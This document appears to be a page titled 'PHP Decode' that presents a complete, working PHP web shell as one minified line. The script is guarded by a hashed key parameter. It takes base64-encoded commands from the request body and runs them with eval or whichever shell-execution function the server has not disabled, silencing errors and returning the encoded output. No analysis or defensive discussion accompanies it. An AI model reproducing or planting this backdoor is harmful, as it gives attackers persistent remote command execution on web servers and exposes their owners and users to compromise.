PHP Decode

<?php @set_time_limit(0);@error_reporting(0);function t($t){return(@trim($t," \n\r\t"));}function p($c){$p=@proc_open($c,array(0=>array('pipe','r'),1=>array('pipe','w'),2=>array('pipe','w')),$s);if(is_resource($p)){$o='';while(!@feof($s[1]))$o.=@fread($s[1],8192);@fclose($s[0]);@fclose($s[1]);@fclose($s[2]);@proc_close($p);return($o);}return(false);}function f($f){return(@in_array($f,@array_diff(array('exec','shell_exec','system','passthru','proc_open','eval'),(($g=@ini_get('disable_functions'))!==false?@explode(',',$g):array()))));}if(!isset($_GET['k'])){@header('HTTP/1.1 423 Locked');@die();}if(@md5(@base64_decode($_GET['k']))!=='e75acb27171300d9b9470c44ec4c1fc6'){@header('HTTP/1.1 401 Unauthorized');@die();}if(($c=@base64_decode(@file_get_contents('php://input')))===false){@header('HTTP/1.1 400 Bad Request');@die();}$r=false;$o=null;if(isset($_GET['e'])){if(f('eval')){@ob_start();echo('EVAL_ERROR');@eval($c);$o=t(@ob_get_contents());@ob_end_clean();@die('#!#'.@substr($o,10).'#$#');}@die('NO_EVAL_FUNCTION');}if(f('exec')){if(($r=@exec($c,$o))!==false){$o=t(implode(PHP_EOL,$o));}}elseif(f('shell_exec')){if(($r=@shell_exec($c))!==false){$o=t($r);}}elseif(f('system')||f('passthru')){@ob_start();if(($r=@system($c))!==false||($r=@passthru($c))!==false){$o=t(@ob_get_contents());}@ob_end_clean();}elseif(f('proc_open')){if(($r=p($c))!==false){$o=t($r);}}else{@die('NO_EXEC_FUNCTION');}if($r===false){@die('EXEC_ERROR');}if(!is_null($o)){$o=@base64_encode($o);}@die('#!#'.$o.'#$#');?>